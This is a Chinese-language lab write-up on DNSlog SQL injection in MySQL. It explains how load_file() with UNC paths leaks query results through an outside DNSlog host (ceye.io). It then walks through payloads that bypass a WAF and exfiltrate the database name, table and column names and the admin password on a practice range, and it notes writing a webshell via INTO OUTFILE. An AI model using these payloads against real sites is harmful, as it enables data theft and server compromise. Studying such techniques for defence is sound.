DNS注入

发布于 2022-03-16  260 次阅读


什么是 DNS

  • DNS是域名解析服务器,负责将域名转化为对应的IP地址。
  • DNSlog就是存储在DNS服务器上的域名信息,类似于日志文件。

什么是 UNC 路径(Universal Naming Convention)

image-20211221222548324
  • UNC路径是绝对路径
  • UNC路径格式:\\servername\sharename servername是服务器名,sharename是共享文件名。
  • 计算机名称的前面始终使用双反斜线 (\\)。
  • 使用了SMB服务。

DNS 注入使用的sql函数

load_file(文件路径)   可以用该函数读取文件

因为高版本Mysql对load_file()函数做了限制,需要手动开启

可以在mysql安装目录中的my.ini文件中的[mysqld]项下添加 secure_file_priv = ''

image-20211228105230221
image-20211228105658267

DNS 注入的原理

因为sql中的load_file()函数可以使用UNC路径,通过让该函数去访问域名,并结合子查询将内容作为子域名拼接到所访问域名,然后通过查询dns访问记录(DNSlog)就可以得知子查询的结果。

DNS 注入的条件和使用场景

  • 使用条件:
  • 站点存在sql注入
  • 站点得有网络(有网络才可以通过dnslog将数据外带)
  • Linux不一定可以进行dnslog注入,Linux系统不自带SMB服务
  • 数据库版本低,或者配置文件修改过, secure_file_priv = '',也就是load_file()函数可以使用
  • 使用场景:在无法直接利用回显注入的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,然后通过DNS解析记录查看注入结果

web应用防火墙(Web Application Firewall)简述

image-20211228163947573

安全狗:WAF(应用于网站的防护软件)

  • 防护机制(黑白名单) 黑名单 白名单

靶场实操

打开靶场页面

image-20211228162001861

and 1=1 有WAF

image-20211228161933737

绕过方法,对不具备危险的文件进行传参,即可以对1.txt传参

image-20211228231129238

有延迟,说明语句执行成功。利用load_file()函数进行注入

and load_file(concat('\\\\',database(),'.2a3q8o.ceye.io\\123'))
image-20211228233438484

可见,数据库名已经被外带出来了。mangzhu

判断一下该数据库下表的数量

and load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema=database()),'.2a3q8o.ceye.io\\123'))
image-20211228234217872

存在两个表。

and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.2a3q8o.ceye.io\\123'))
image-20211228233843958

第一个表为admin

and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.2a3q8o.ceye.io\\123'))
image-20211228234350536

第二个表news

查看admin表下的字段数

and load_file(concat('\\\\',(select count(column_name) from information_schema.columns where table_name='admin'),'.2a3q8o.ceye.io\\123'))
image-20211228234527394

九个字段

查看第一个字段

and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.2a3q8o.ceye.io\\123'))
image-20211228234626081

id

and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.2a3q8o.ceye.io\\123'))
image-20211228234708136

username

and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='admin' limit 2,1),'.2a3q8o.ceye.io\\123'))
image-20211228234847901

password

其余的字段依次为

id,username,password,id,username,password

查password数据

and load_file(concat('\\\\',(select password from admin limit 0,1),'.2a3q8o.ceye.io\\123'))
image-20211229000105212

获得flag,提交结束。

总结:

DNSlog注入就是利用sql中的load_file()函数可以进行网络访问的特点,将想要得到的数据通过子域名的方式进行拼接并访问,通过查看DNS的访问记录来直接获得所想要的东西。

拓展

mysql into outfile 语句可以将查询结果导出到文件

例如:

image-20211229002327235
image-20211229002340179
image-20211229002351325

利用这个语句,可以将一句话木马写入网站。

image-20211229201802399

然后使用菜刀连接就可以获得webshell。

image-20211229201933710